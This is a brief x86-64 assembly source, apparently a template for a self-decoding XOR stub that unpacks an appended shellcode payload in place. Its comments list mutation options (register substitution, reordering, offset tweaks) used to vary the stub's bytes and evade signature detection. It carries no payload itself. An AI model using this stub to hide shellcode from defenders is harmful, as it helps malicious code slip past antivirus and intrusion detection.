BITS 64

;
; - variable adjust start-off and add off to xor
;
;	  lea  rsi, [rel start-0x6f]
;	  xor  dword [byte rsi+(payload-start)+0x6f], ebx
;
; - register substitution with ebx
; - register substitution with rsi & add xchg rsi, reg
; - re-ordering of mov and lea
;

start:
	mov  ebx, 0x12345678
	lea  rsi, [rel start]
loop:
	xor  dword [byte rsi+(payload-start)], ebx
	lodsd
payload:
	add  ebx, eax ; ebx + eax = 0 is the end marker
	jnz  loop
